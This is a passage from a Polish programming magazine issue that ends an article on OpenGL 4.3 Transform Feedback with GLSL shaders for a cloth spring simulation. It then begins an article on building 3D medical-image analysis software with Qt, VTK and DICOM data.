butów jest ograniczona przez możliwości karty graficznej, sterownika oraz
wersji biblioteki OpenGL.
W każdym z trzech przypadków schemat postępowania jest podobny.
W pierwszej kolejności należy uzyskać dostęp do zasobu karty graficznej
poprzez wygenerowanie bufora. Następnie utworzyć dowiązanie uzyskane-
go zasobu do punktu dowiązań
GL_TARNSFORM_FEEDBACK_BUFFER. Osta-
tecznie rezerwujemy wymagany obszar pamięci VRAM (Listing 1). Wybierając
procedurę wiązania zasobu z miejscem na zasób TFBK, należy kierować się
wymaganiami danego algorytmu. Wszystkie trzy procedury działają podob-
nie, natomiast różnią się przede wszystkim elastycznością konfiguracji. Naj-
więcej możliwości oferuje procedura c), dzięki której otrzymujemy możliwość
dowiązania jednego bufora do wszystkich punktów dowiązania TFBK.
Listing 1. Przygotowanie bufora VBO oraz dowiązanie do punktu
dowiązań TFBK
GLuint
buffer;
glGenBuffers
(1, &buffer);
a. glBindBuffer
(
GL_TRANSFORM_FEEDBACK_BUFFER
, buffer);
b. glBindBufferBase
(
GL_TRANSFORM_FEEDBACK_BUFFER
, index, buffer);
c. glBindBufferRange
(
GL_TRANSFORM_FEEDBACK_BUFFER
, index,
buffer, offset, size);
glBufferData
(
GL_TRANSFORM_FEEDBACK_BUFFER
, size,
NULL
,
GL_DYNAMIC_COPY
);
Rysunek 2. Schemat przedstawiający wycinek kontekstu graficznego, odpowie-
dzialnego za przechowywanie informacji o konfiguracji mechanizmu Transform
FeedBack – buforach danych VBO dowiązanych do TFBK
W ogólności, dostępny jest tylko jeden bieżący punkt dowiązania TFBK (Rysu-
nek 2). Oznacza to, że w danym momencie możemy mieć dostęp, z poziomu
Rysunek 1. Schemat przepływu danych z zaznaczeniem kierunków ich przepływu, dla podstawowo skonfigurowanego potoku graficznego (VS, GS, FS). Na schema-
cie zostały przedstawione możliwe scenariusze przepływu danych dla pojedynczego przebiegu PASS N
24
/ 6
. 2014 . (25) /
PROGRAMOWANIE GRAFIKI
aplikacji, do ogólnego punktu dowiązania. W celu uzyskania dostępu do bu-
forów dowiązanych w punktach od 1 do N, należy każdorazowo wykorzystać
procedurę b) lub c) przedstawioną na Listingu 1. Jej użycie spowoduje dowią-
zanie bufora do konkretnego punktu oraz do ogólnego punktu dowiązania.
Należy wziąć ten fakt pod uwagę, gdyż nie ma fizycznej możliwości odniesie-
nia się do konkretnych punktów dowiązania przy pomocy funkcji
glBuffer-
Data() oraz glCopyBufferSubData().
Proces przechwytywania danych rozpoczyna się po uruchomieniu pro-
cedury rysującej, pod warunkiem, że występuje ona pomiędzy poleceniami
kontrolującymi pracę mechanizmu TFBK (Listing 2).
Przechwytywanie można dowolnie zatrzymywać oraz wznawiać, nie nale-
ży jednak w trakcie jego działania zmieniać dowiązania buforów.
Listing 2. Funkcje kontrolujące pracę mechanizmu TFBK
void
glBeginTransformFeedback
(
GLenum
primitiveMode);
void
glResumeTransformFeedback
();
void
glPauseTransformFeedback
();
void
glEndTransformFeedback
();
Parametr
primitiveMode określa typ prymitywu graficznego, dozwolone
są trzy podstawowe kształty graficzne. Każdemu z nich odpowiada grupa
bardziej szczegółowych prymitywów, które powinny pojawić się na wejściu
programu przetwarzającego wierzchołki (Tabela 2).
GL_POINTS
GL_POINTS
GL_LINES
GL_LINES,
GL_LINE_STRIP,
GL_LINE_LOOP
GL_TRIANGLES
GL_TRIANGLES,
GL_TRIANGLE_STRIP,
GL_TRIANGLE_FAN
Tabela 2. Wartości parametru primitiveMode
Mechanizm TFBK może być przede wszystkim stosowany w animacjach, któ-
re wymagają ciągłego obliczania nowej pozycji czy orientacji na podstawie
poprzednich danych. Innym ciekawym zastosowaniem tego rozwiązania jest
próba symulowania cząsteczek bądź ciał sprężystych. Na potrzeby artykułu
powstała aplikacja, która prezentuje możliwości TFBK. Symulowana tkanina
jest gęstą siatką wierzchołków powiązanych z sobą wiązaniami sprężystymi.
Każdy z wierzchołków posiada pozycję, przypisaną masę oraz prędkość. Po-
zycja oraz prędkość są na bieżąco obliczane oraz poprzez TFBK zapisywane w
buforze zewnętrznym. Po zamianie buforów odczytywane są nowe wartości
pozycji oraz prędkości. Na ich podstawie liczone są nowe dane z uwzględnie-
niem sił działających na każdy z wierzchołków. Algorytm składa się z dwóch
odrębnych przebiegów cieniujących. Pierwszy wykonuje obliczenia symu-
lowanego obiektu, natomiast drugi służy tylko do wyświetlenia aktualnego
stanu symulacji.
Algorytm do poprawnego działania wymaga wiedzy o sąsiadujących
wierzchołkach (Rysunek 3). Aby uzyskać te dane, należy utworzyć mapę po-
łączeń, w postaci listy cztero-elementowych wektorów. Każdy element z listy
odpowiada każdemu symulowanemu wierzchołkowi, natomiast poszczegól-
ne wartości wektora określają wierzchołki, znajdujące się w relacji sąsiadu-
jącej, vec4(lewo, góra, prawo, dół). Wierzchołki, dla których nie są obliczane
przesunięcia, ze względu na siłę, są wprawiane w ruch, który wprowadza
cały układ w stan niestabilności (-1,-1,-1,-1). Na każdy z wierzchołków działa
siła związana z grawitacją oraz masą wierzchołka. Dodatkowo występuje siła
sprężystości, która wynika z niestabilności stanu, w jakim znajdują się cztery
sąsiednie wierzchołki. W symulacji występuje również siła kompensująca stan
niestabilności, która ogranicza stan niestabilny układu.
Rysunek 3. Geometria siatki ciała sprężystego oraz relacja sąsiedztwa między
wierzchołkami
Listing 3. Vertex Shader (przebieg symulacji). Deklaracja zmiennych,
danych wejściowych do programu przetwarzającego wierzchołki
// akutalna pozycja oraz masa wierzchołka
layout
(location =
0
)
in
vec4
point_position_mass;
// aktualna prędkość wierzchołka
layout
(location =
1
)
in
vec3
point_velocity;
// sąsiedztwo wierzchołka
layout
(location =
2
)
in
ivec4
point_connections;
// aktualne pozycje wszystkich wierzchołków.
uniform
samplerBuffer
tex_point_position_mass;
Listing 4. Vertex Shader (przebieg symulacji). Deklaracja zmien-
nych, danych wyjściowych, zapisywanych do bufora zewnętrznego
przy pomocy mechanizmu TFBK
out
vec4
tfbk_point_position_mass;
// nowa pozycja wierzchołka
out
vec3
tfbk_point_velocity;
// nowa prędkość wierzchołka
Listing 5. Vertex Shader (przebieg symulacji). Deklaracja, definicja
zmiennych danych sterujących pracą symulowanego układu
uniform
float
t =
0.07f
;
// stała czasowa t
uniform
float
angle;
// wartość kąta animacji
// kierunek wektora grawitacji
uniform
vec3
gravity_dir =
vec3
(
0.0f
,
1.0f
,
0.0f
);
uniform
float
gravity_scale =
0.08f
;
// wartość grawitacji
uniform
float
spring_k =
7.1f
;
// współczynnik sprężystości
uniform
float
spring_att =
2.8f
;
// współczynnik tłumienia
uniform
float
spring_rest =
0.88f
;
// współczynnik spoczynku
Symulację można kontrolować poprzez zmianę wartości zmiennych progra-
mu Vertex Shader (Listing 5). Wartości są na bieżąco wysyłane do programu
cieniującego wierzchołki. Umożliwiają zmianę siły grawitacji, właściwości
sprężyste układu oraz masę cząstek.
Listing 6. Vertex Shader (przebieg symulacji). Główna funkcja
realizująca symulację fizyczną
void
main(
void
)
{
// aktualna pozycja punktu
vec3
p = point_position_mass.xyz;
// aktualna masa punktu
float
m = point_position_mass.w;
// aktualna prędkość punktu
vec3
u = point_velocity;
PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
// wektor grawitacji
vec3
g = gravity_dir * gravity_scale;
// siła związana z masą oraz grawitacją kompensowana tłumieniem
vec3
F = g * m - spring_att * u;
bool
fixed_node =
true
;
for
(
int
i =
0
; i <
4
; i++){
if
(point_connections[i] != -
1
){
// pozycja sąsiedniego wierzchołka
vec3
q =
texelFetch
(tex_point_position_mass, point_
connections[i]).xyz;
// odległość między wierzchołkami
vec3
d = q - p;
float
x =
length
(d);
// wypadkowa sił działających na wierzchołek związana z
// niestabilnością układu sprężystego.
F += -spring_k * (spring_rest - x) *
normalize
(d);
fixed_node =
false
;
}
}
if
(fixed_node){
F =
vec3
(
0.0f
);
p.x +=
cos
(angle) *
0.007f
;
}
// przyspieszenie związane z wypadkową siłą działającą na masę punktu
vec3
a = F / m;
// całkowite przesunięcie związane z siłą oraz masą
vec3
s = u * t +
0.5f
* a * t * t;
// nowa prędkość wierzchołka
vec3
new_v = u + a * t;
// nowa pozycja wierzchołka
vec3
new_p = p + s;
// wysłanie nowej pozycji oraz masy wierzchołka do TFBK
tfbk_point_position_mass =
vec4
(new_p, m);
// wysłanie nowej prędkości wierzchołka do TFBK
tfbk_point_velocity = new_v;
}
Listing 7. Fragment Shader (przebieg symulacji). Program cienio-
wania fragmentu
#version
430
core
out
vec4
color;
void
main(
void
)
{
color =
vec4
(
1.0f
,
1.0f
,
1.0f
,
1.0f
);
}
Program cieniujący fragmenty nie wpływa na przebieg symulacji (Listing 7),
musi natomiast występować w celu poprawnego działania potoku graficzne-
go. Jego działanie nie jest widoczne na ekranie, ponieważ zostało to wcześniej
zablokowane przy pomocy zmiennej stanu:
GL_RASTERIZER_DISCARD.
Piotr Sydow
Absolwent Informatyki na wydziale Elektroniki, Telekomunikacji i Informatyki Politechniki
Gdańskiej. Zawodowo skoncentrowany na architekturze, programowaniu silników graficz-
nych oraz GPU. W wolnym czasie tworzy oprogramowanie open-source oraz urządzenia i
systemy elektroniczne. W GLSL programuje od 5 lat.
Karol Sobiesiak i Piotr Sydow są w trakcie prac
nad książką „Shadery: Zaawansowane pro-
gramowanie w GLSL”. Poruszone w niej te-
maty będą związane z programowaniem karty
graficznej oraz grafiką 3d. W ciekawy sposób
zostaną przedstawione nowoczesne techniki
wizualizacji oraz programowania GPU zarów-
no od strony praktycznej, jak i teoretycznej,
opierając się na najnowszym standardzie trój-
wymiarowej grafiki OpenGL 4.3 (4.4).
Rysunek 4. Ilustracja efektu działania algorytmu na siatkę ciała sprężystego.
https://github.com/kalist/gl4.3_transform_feedback_springs_1
Do poprawnego uruchomienia aplikacji mogą być wymagane biblioteki:
» QT 5.2.0,
» OpenGL 4.3,
» GLEW
Na podstawie: [1] Graham Sellers, „OpenGL Superbible: Comprehensive Tuto-
rial and Reference”, Addison Wesley, 6th edition (31 July 2013).
reklama
26
/ 6
. 2014 . (25) /
PROGRAMOWANIE GRAFIKI
Michał Chlebiej
POCZĄTKI
Mój pierwszy obraz medyczny, z którym się zetknąłem około 2000 r., był po-
jedynczym przekrojem danych tomografii komputerowej głowy. Był to plik o
wielkości pół megabajta, o którym koledzy powiedzieli mi tylko, że rozmiar
danych to 512×512, 2 bajty na piksel i zaczynają sie po '0x7fe0' (później do-
wiedziałem się, czym jest format DICOM i jak dużo informacji może on za-
wierać oprócz samych intensywności pikseli). Napisałem prosty program w
środowisku C++ Builder, który znalazł magiczną frazę, przeczytał plik do koń-
ca i umieścił w tablicy, a następnie jakoś wyświetlił obraz. Wyświetlenie pole-
gało na przeskalowaniu zakresu danych (0-4096) na skalę 256 intensywności
i zobrazowaniu danych w skali szarości. To był wielki sukces – przekrój głowy
prawdziwego człowieka wylądował na moim ekranie. Kilka dni później do-
tarł do mnie zestaw kolejnych warstw poprzecznych z tego samego badania.
Eksploracja przestrzeni trójwymiarowej zakończyła się na dodaniu suwaka
pod wyświetlanym obrazkiem, który odsłaniał przed użytkownikiem kolejne
struktury anatomiczne mózgowia. Z takimi obrazami do niedawna pracowało
większość lekarzy – mimo iż informacja zawarta w danych jest przestrzenna, z
jakiegoś powodu lekarze woleli oglądać jedynie płaskie projekcje. Jedyne pa-
rametry, którymi manipulowali, były to tzw. „okno i poziom”, które przekładały
się na progowanie wartości minimalnej i maksymalnej, do których rozciągana
była paleta 256 odcieni szarości. Trójwymiar nie był aż tak kuszący, bo badania
w polskich szpitalach wykonywane były na starszych modelach tomografów
przeprowadzających badanie wolno, przy okazji serwując dużą dawkę szko-
dliwego promieniowania RTG. Radiolodzy wykonywali badania głowy bardzo
wybiórczo, wykonując jedynie kilkanaście projekcji poprzecznych na całą
głowę. Z takich danych zbudowanie trójwymiarowej bryły nie było zbytnio
ciekawe ani sensowne. Niedługo później dostałem możliwość pracy z danymi
pochodzącymi z ośrodków badawczych z Niemiec. Nowoczesne tomografy
dostarczyły obraz głowy i miednicy tego samego pacjenta zawierający ponad
setkę przekrojów poprzecznych. Taka ilość nie tylko zachęcała, ale wręcz zmu-
szała do przejścia do pracy w przestrzeni trójwymiarowej.
Budowa oprogramowania do anali-
zy i przetwarzania trójwymiarowych
obrazów medycznych
Obrazy medyczne stanowią niewyczerpalne źródło inspiracji naukowych. Artykuł
ten jest próbą krótkiej opowieści o mojej niekończącej się przygodzie z takimi
obrazami oraz o tym, jak próbowałem i wciąż próbuję zamknąć różne pomysły i
idee w jednym dedykowanym oprogramowaniu. Oprogramowanie to wykorzysta-
ne zostało w projekcie „Interactive fusion system of multiple 3D data as a surgical
preoperative strategy and educational tool“ tworzonym wspólnie z mgr Andrzejem
Rutkowskim oraz naukowcami z Wydziału Nauk Medycznych Uniwersytetu War-
mińsko-Mazurskiego, które otrzymało główną nagrodę na targach wynalazczości w
Brukseli w 2013 roku.
Rysunek 1. Pierwsza wersja platformy
27
/ www.programistamag.pl /
BUDOWA OPROGRAMOWANIA DO ANALIZY TRÓJWYMIAROWYCH OBRAZÓW MEDYCZNYCH
PIERWSZA PLATFORMA
Z tymi niespotykanymi w Polsce danymi zacząłem pracować na stażu w
Niemczech, gdzie miałem przygotować materiał do pracy magisterskiej.
Cel wydawał się mnie wtedy przerastać – wydobyć dane 3D szczęki i talerza
kości biodrowej, a następnie przy pomocy przygotowanych narzędzi prze-
prowadzić wirtualny zabieg zaplanowania operacji przeszczepu kostnego
fragmentu kości z miednicy do żuchwy. Wybór narzędzi, na jakie zostałem
wtedy nakierowany, towarzyszy mi do dziś. Język programowania C++. Inter-
fejs użytkownika – miał być szybki w implementacji oraz dostępny na różne
platformy – wybór padł na bibliotekę QT. Trójwymiar – tu były spore wahania
– czy wybrać czysty OpenGL, czy może wykorzystać nakładkę, ze znacznie
rozszerzoną funkcjonalnością wizualizacyjną. Wybór padł na bibliotekę VTK,
którą w prosty sposób można było zintegrować z GUI biblioteki QT. Wybór
okazał się świetny – dynamiczne interfejsy budowało się bez użycia kreato-
rów GUI niezwykle szybko, a pomysły w trójwymiarze VTK realizował za po-
mocą prostego i czytelnego kodu.
Przygotowane i przetestowane oprogramowanie działało poprawnie (Ry-
sunek 1), ale zostało zbudowane bez gruntownego przemyślenia i solidnego
zaprojektowania. W trakcie pisania oprogramowania okazało się, że szybko
wyszliśmy od dwuwymiarowych danych źródłowych i potrzebne są dane trój-
wymiarowe dwojakiego rodzaju: oryginalne wolumeny 3D oraz powierzch-
nie reprezentujące wyodrębnione obiekty. Wolumeny 3D należało przecho-
wywać w tablicach jednowymiarowych i wyświetlać za pomocą renderingu
wolumetrycznego, natomiast powierzchniowe siatki trójkątne z posegmen-
towanych danych uzyskiwane były za pomocą algorytmu Marching Cubes i
po wygładzeniu wyświetlane. W pierwszej wersji stworzone zostały 3 okna 3D
– po jednym dla każdego rodzaju zadania – rednering powierzchniowy i edy-
cja danych siatkowych, dopasowywanie siatek oraz rendering wokseli (trój-
wymiarowych pikseli). Interakcja odbywała się za pomocą mało wygodnych
suwaków w globalnym (nie związanym z ekranem układem współrzędnych).
Poza tym program pisany był „prawie obiektowo", niby były obiekty, ale i tak
każda próba rozszerzenia funkcjonalności kodu kończyła się pisaniem czegoś
od zera (np. kolejnego okna 3D do innej funkcjonalności). Funkcjonalność na
tamten czas zamykała się w: wczytaniu danych w formacie DICOM (własny re-
ader formatu DICOM i interpretacji serii), oczyszczeniu danych wolumetrycz-
nych (filtracja medianą ważoną), segmentacji – siermiężny rozrost obszaru z
progami globalnymi, wygenerowania powierzchni, oraz ich postprocessingu
(dzięki VTK), dopasowaniu powierzchni – algorytm Levenberg-Marquardt z
popularnego Numerical Recipes in C i szereg drobnych narzędzi pozwalają-
cych na przeniesienie wykonanych operacji geometrycznych z danych po-
wierzchniowych na dane wolumetryczne. Przykładowe elementy pokazane
na Rysunku 1.
Niestety, źle zaprojektowane (a właściwie wcale nie projektowane, tylko
pisane „na hura") oprogramowanie musiało szybko zakończyć swój żywot.
Trzeba było je napisać od początku zgodnie z góry ustalonymi i przemyśla-
nymi zasadami.
PLATFORMA, WERSJA 2.0
W 2003 roku projekt został gruntownie przebudowany. Wiadomo było już, że:
dane wejściowe i wyjściowe mogą być zarówno siatkowe, jak i wolumetrycz-
ne, danych wczytanych do aplikacji może być dużo zarówno jednego, jak i
drugiego rodzaju, operacje będą mogły być wykonywane na dowolnej kom-
binacji tychże danych, interakcja wzajemna mogłaby się odbywać, równocze-
śnie używając widoków 2D (wzajemnie prostopadłych przekrojów danych
wolumetrycznych), jak i danych wolumetrycznych oraz zanurzonych w nich
siatkach trójkątnych, GUI musi umożliwiać dowolną rozbudowę (wiele, wiele
nowych zakładek), program musi być budowany w pełni obiektowo, projekt
musi być przystosowany do modyfikacji.
Tego ostatniego punktu oczywiście nie dało się zapewnić, ale trzeba było
przemyśleć jak najwięcej już na etapie projektowania. Znałem wtedy jeden
z projektów, który miał podobne cele i był tworzony przez grupę programi-
stów. Niestety zaplanowano aplikację tak bardzo ogólnie i tak bardzo rozsze-
rzalnie, że program w pierwszej wersji stanowił już ogromną i złożoną platfor-
mę, nie dając praktycznie żadnej uchwytnej funkcjonalności. Należało zatem
zachować prostotę, szczególnie biorąc pod uwagę fakt, że rozwijany będzie
tylko przez jedną osobę.
Rysunek 2. Druga – aktualna wersja platformy
28
/ 6
. 2014 . (25) /
PROGRAMOWANIE GRAFIKI
Wybór narzędzi się praktycznie nie zmienił, a jedynie uaktualniły się wer-
sje bibliotek. Po przebudowie wykonanej ponad 10 lat temu aplikacja trzyma
się dzielnie, przyjmując wszystkie nowe pomysły bez większego ingerowa-
nia w rdzeń platformy. Dane zarówno wolumenów, jak i siatek trzymane są
w obiektach przechowujących zarówno ich indywidualne cechy, jak również
zależności z innymi obiektami danych. Dane trzymane są w listach (osobne li-
sty dla siatek i wolumenów), ale za pomocą bardzo prostego, dobudowanego
później mechanizmu można je agregować w grupy i operować na grupach
obiektów (filtracje, przekształcenia geometryczne itp.).
MODYFIKACJE
Prawdziwym testem architektury projektu jest jego modyfikowanie i rozwój
– nowe podejście do danych, albo wręcz nowy typ danych. Nowe typy da-
nych pojawiały się kilkakrotnie i to one stanowiły duże wyzwania. Na począ-
tek przyszły dane RGB – dane, w których kolor nie był opisywany jedynie za
pomocą intensywności reprezentowanej przez dwa bajty, tym razem doszły
dwie nowe składowe. Dane z projektu Visible Human Project (VHP) zawierały
oprócz pełnych skanów CT i MRI także serię fotografii o wysokiej rozdziel-
czości – skany poprzeczne wykonane zostały na podstawie prawdziwych
widoków poprzecznych zamrożonych w bryle lodu zwłok. Kolejne warstwy
anatomii były fizycznie zestrugiwane. Rozwiązanie tymczasowe zastosowane
dla takich danych okazało się być trwałym. W obiekcie RawData opisującym
dane wolumetryczne (za pomocą parametrów odczytanych z plików DICOM)
znajdowała się od zawsze tablica danych typu unsigned short. W wersji „kolo-
rowej" dodane zostały dwie tablice typu unsigned char odpowiadające skła-
dowym G i B. I tak, podstawowe funkcjonalności zawsze działały na takich da-
nych – przekształcając jedynie dane z kanału R. Natomiast jeśli była potrzeba
wykorzystania dodatkowej informacji, filtr mógł być napisany specjalnie dla
pozostałych kanałów. Można powiedzieć, że jest to typowa zmiana „na chwil-
kę", ale o dziwo trzyma się dzielnie i, co ważniejsze, spełnia w pełni swoje za-
danie. Można w tej chwili wczytać jako dane RawData sekwencję dowolnych
plików *.jpg , które zostaną przypisane do kolejnych warstw wolumenu i tak
też przechowywane. Rysunek 3 prezentuje dwa wzajemnie prostopadłe prze-
kroje danych RGB z projektu VHP, na które zostały nałożone interaktywne pola
do oglądania dopasowanych danych CT, MRI-T2 oraz MRI-T2.
CT (ang. Computed Tomography) – urządzenie do obrazowania wolume-
trycznego wykorzystujące promieniowanie RTG. Im tkanka ma większą
gęstość, tym silniej absorbuje promieniowanie. Wartości osłabienia pro-
mieniowania przekładają się na wartości intensywności końcowego obra-
zu. CT wykorzystywane najczęściej jest do obrazowania struktur kostnych.
MRI (ang. Magnetic Resonance Imaging) – urządzenie wykorzystujące
zjawisko magnetycznego rezonansu jądrowego atomów wodoru. MRI
wykorzystywane jest głównie do obrazowania tkanek miękkich – struktur
zawierających dużo wody.
Zarówno CT, jak i MRI po podaniu środka kontrastującego umożliwiają
obrazowanie naczyń krwionośnych.
Rysunek 3. Dane RGB
Innym typem danych, z jakim przyszło mi się zmierzyć, a który zupełnie
nie został przewidziany podczas projektowania odnowionej wersji oprogra-
mowania, były siatki wolumetryczne, czyli trójwymiarowe tablice wokseli
(elementów przestrzeni odpowiadających pikselom w grafice 2D). Celem mo-
jej pracy było wtedy przygotowywanie danych do symulacji fizycznych przy
pomocy metody modelowania FEM (ang. Finite Element Method). Dane z mo-
jej aplikacji miały być dostarczane do pakietu Marc Mentat, który na wejściu
przyjmował bardzo rzadkie (ang. decimated mesh) siatki trójkątne zamknię-
tych siatek (bez dziur). Siatki te następnie były przez oprogramowanie symu-
lacyjne przetwarzane na siatki wolumetryczne – wnętrze wypełniane było
ostrosłupami. Po tym kroku użytkownik oznaczał części siatek, przypisywał
parametry materiałowe, ustalał warunki brzegowe oraz parametry startowe
(np. działające siły) symulacji. Problem pojawił się, gdy chciałem umieścić w
takim modelu obiekt niestandardowy. Chodziło o symulację wzrostu nowo-
tworu o charakterystyce sferycznej. Pomysł był taki, aby umieścić wewnątrz
siatki małą kulkę i pompować ją (zwiększając ciśnienie w jej wnętrzu) podczas
symulacji. Efekt został osiągnięty poprzez wygenerowanie danych wstępnych
w pakiecie Marc Mentat, eksport danych w formacie NASTRAN, zaimporto-
wanie danych do mojej aplikacji, umieszczenie wewnątrz siatki trójkątnej
odpowiadającej powierzchni bardzo małej sfery, a następnie połączeniu
wszystkich trójkątów ze środkiem sfery (tworząc ostrosłupy), tak by uzyskać
obiekt wolumetryczny. Efekt został wyeksportowany w formacie NASTRAN i
zaimportowany do pakietu symulacyjnego. Trik prosty, ale bardzo skuteczny
(por. Rysunek 4, górne obrazy). Ciekawostką było dostosowanie tego pomy-
słu do prostej symulacji wszczepienia implantu w kobiecą pierś. Tym razem
zamiast kuli, wykorzystana została bardzo zdeformowana elipsoida – spłasz-
czony dysk, którego środek został przemieszczony tak, aby podczas symulacji
„pompowania" uzyskał on kształt prawdziwego implantu. Wirtualna operacja
dała ciekawe efekty (por. Rysunek 4, dolne obrazy).
Rysunek 4. Wszczepianie wirtualnego obiektu do symulacji wzrostu nowotworu
(górne obrazy) oraz implantów (dolne obrazy)
Kolejnym ciekawym wyzwaniem wymagającym nowego podejścia do da-
nych była praca z sekwencjami danych 2D. Jeśli są to dane zmienne w cza-
sie (np. obraz ultrasonograficzny), dane takie nazywa się często danymi 2.5
wymiarowymi. 3D zarezerwowane jest dla trzech wymiarów przestrzeni, na-
tomiast czas w literaturze przedmiotu zasłużył jedynie na połówkę wymiaru.
Aby obsłużyć takie dane, wystarczyło potraktować je jako kolejne warstwy
zbioru wolumetrycznego. Wymiar odpowiadał wymiarowi czasowemu, nato-
miast odległość pomiędzy kolejnymi warstwami stanowiła krok czasowy wy-
rażany w sekundach. Oprócz danych medycznych to samo podejście zostało
wykorzystane w dwóch nie medycznych projektach – stabilizacja animacji,
oraz rekonstrukcja głębi ostrości na podstawie częściowo ostrych zdjęć. W
pierwszym projekcie wczytywano serię fotografii RGB, wykonanych ręcz-
nie dookoła obiektu, a następnie przy pomocy dopasowywania kolejnych
warstw do siebie uzyskiwany był płynny ruch, który docelowo posłużył do
29
/ www.programistamag.pl /
BUDOWA OPROGRAMOWANIA DO ANALIZY TRÓJWYMIAROWYCH OBRAZÓW MEDYCZNYCH
rekonstrukcji 3D obiektu (Rysunek 5). Drugi projekt, również fotograficzny,
pracował z serią zdjęć (tym razem wykonanych z użyciem statywu) z bardzo
płytką głębią ostrości, w których ostrość ustawiana była ręcznie na różne od-
ległości od obiektywu. Efektem było zdjęcie ze znacznie większą głębią ostro-
ści, mapa głębokości (podobna do tej z sensorów Kinect firmy Microsoft) oraz
prosta rekonstrukcja 3D.
Kolejnym wyzwaniem były dane 4D – tym razem czwarty wymiar ozna-
czał czas (w porównaniu z wspomnianym wcześniej 2.5D, 4D wydaje się być
bardziej intuicyjne) Tym razem chodziło o dane pochodzące z ultrasonografu
potrafiącego pozyskać kilkanaście klatek trójwymiarowych obrazujących cykl
pracy bijącego serca. Takie dane stanowiły spore wyzwanie. Po pierwsze, pro-
blemem był standard DICOM, w którym zostały zapisane dane. Standard do
chwili obecnej tak naprawdę wspiera jedynie zapis danych 2D. Każdy przekrój
zapisywany jest w osobnym pliku, a interpretacja wolumetryczna pozostaje
do opracowania przez programistę. Mimo iż istnieje tzw. DICOMDIR, który
pozwala na odzyskanie opisu, jakie pliki należą do jakiej rekonstrukcji, to w
wielu przypadkach są to dane bezużyteczne – nie pozwalają na prawidłową
rekonstrukcję. W wielu programach do przetwarzania i wizualizacji danych
medycznych 3D zrezygnowano z interpretowania zawartości DICOMDIR.
Dodatkowo, wszystko, czego nie można zapisać w standardzie DICOM, pro-
ducenci sprzętu umieszczają w tzw. tagach prywatnych. Stanowi to niestety
duże pole do nadużyć, dane zapisywane są tak, że informacje niezbędne do
przygotowania przestrzennej rekonstrukcji umieszczane są w tych nieopisa-
nych nigdzie tagach. W przypadku danych 4D sytuacja jest jeszcze ciekawsza,
dane umieszczane są zazwyczaj w jednym pliku, gdzie informacje obrazowe,
które odczyta większość przeglądarek DICOM, pokazuje jeden zrzut ekranu
prezentujący wizualizowany obiekt, natomiast prawdziwe dane obrazowe
zawarte są w sekcji prywatnej. W przypadku urządzenia, z którym pracowa-
łem, udało mi się wydobyć potrzebne dane: rozmiar klatki 3D, ich ilość oraz
rozmiar woksela i krok czasowy. Pozostało tylko odpowiednio umieścić i
obsłużyć takie dane w mojej aplikacji. Pomysł okazał się bardzo prosty i sku-
teczny – każda klatka 3D została zapisana jako osobny zbiór RawData. Klasa
bazowa została rozszerzona o możliwość reprezentowania klatki czasowej z
danej serii. W projekcie tym dane czasowe poszczególnych klatek zostały do-
pasowane geometrycznie do klatki zerowej, wykorzystując nieliniowy model
przekształcenia FFD (ang. Free Form Deformation). Następnie wydobyta geo-
metria lewej komory serca została poddana pozyskanemu polu deformacji
czasowej, na podstawie czego zrekonstruowany został ruch w postaci zmie-
niającej kształt siatki trójkątnej. Wynik prezentowany był zarówno w wersji
wolumetrycznej, jak i siatki powierzchniowej (Rysunek 6). Zmieniająca się w
czasie siatka była reprezentowana również jako zestaw siatek odpowiadają-
cych chwilom czasowym. Ze względu na fakt łatwej interpolacji deformacji
pomiędzy klatkami, generowany był wynik dla dwukrotnie większej ilości kla-
tek, co pozwoliło uzyskać znacznie płynniejszą animację. Animacja polegała
na cyklicznym pokazywaniu kolejnych siatek 3D.
Bardzo interesujące wyzwanie pojawiło się przed platformą, gdy zaczęliśmy
wspólnie z doktorantem mgr Andrzejem Rutkowskim pracować z technologią
stereowizji. Aplikacja działała w 3D, wykorzystując bibliotekę VTK, która z kolei
pracowała w oparciu o OpenGL wspierający tryby wyświetlania stereo (wy-
świetlanie osobnych obrazów w dwóch viewportach). Podczas prac wstępnych
pojawiły się dwa problemy – pierwszy techniczny, drugi koncepcyjny. Pierwszy
dotyczył przełączenia aplikacji w tryb stereo – polegającym na generowaniu
odpowiedniego obrazu dla lewego i prawego oka. Mimo moich usilnych prób
jedynym trybem, który chciał działać, był tryb anaglyph, wymagający użycia
okularów dwukolorowych i dających słabą jakość obrazu. Wykorzystywany
przeze mnie monitor wspierał technologię polaryzacyjną, dla której obraz po-
winien być generowany – dla lewego oka na lewej połówce obrazu, dla prawe-
go na prawej. Takiego trybu jak się okazało nie wspierała moja karta graficz-
na. Wymagany był tryb „quad buffer” wspierany w kartach NVIDIA Quadro, ja
natomiast miałem na pokładzie swojego peceta kartę NVIDIA GeForce, która
Rysunek 5. Stabilizacja animacji przy wykorzystaniu dopasowywania danych i rekonstrukcji 3D. Rysunek zawiera nałożone klatki ruchu przed i po stabilizacji
Rysunek 6. Rekonstrukcja pracy serca na podstawie echokardiografii 4D
30
/ 6
. 2014 . (25) /
PROGRAMOWANIE GRAFIKI
nie była przez „quad buffer” obsługiwana. Po chwili zabawy z trybem anaglyph
doszedłem do wniosku, że i tak nie chciałbym używać wizualizacji stereo w
taki sposób. Interfejs użytkownika, który pozostał dwuwymiarowy, mieszał
się z głębią obrazu 3D. Powstała nowa koncepcja – wygenerowania specjalne-
go okna dla monitora 3D bez GUI. Główne okno aplikacji, na której pracował
użytkownik, pozostało bez zmian i było wyświetlane na monitorze podstawo-
wym. Drugie okno w postaci pełnoekranowej wyświetlane było na monitorze
3D. Aplikacja po przełączeniu w tryb stereo generowała obraz 3D dla lewego
oka (pokazywany na głównym monitorze), a w tle w drugim buforze genero-
wała obraz dla oka prawego, który nigdy nie był pokazywany użytkownikowi
na ekranie głównym. Obie wersje były grabowane (tj. kopiowane z aktualnie
nieaktywnego bufora ramki w technice podwójnego buforowania) i przy wy-
korzystaniu kodu OpenGL teksturowały odpowiednią połówkę okna monitora
3D. Zalet takiego rozwiązania było kilka. Korzystanie z niego było bardzo wy-
godne – prezentacja na monitorze 3D dedykowana była dla odbiorców, nato-
miast operator aplikacji widział pełne GUI. Generowany obraz stereo nie zależał
zbytnio od posiadanej karty graficznej – musiała być jedynie „przyzwoita". Co
ciekawe, bardzo proste okazało się wykorzystanie rzutnika stereo składające-
go się z pary bardzo jasnych rzutników (technologia polaryzacyjna). Komputer
musiał posiadać 2 karty graficzne, z których jedna generowała obraz dla moni-
tora operatora, natomiast druga obsługiwała dwumonitorowy ekran, na który
rozciągane było okno stereo. Dodatkowo wprowadziliśmy możliwość sterowa-
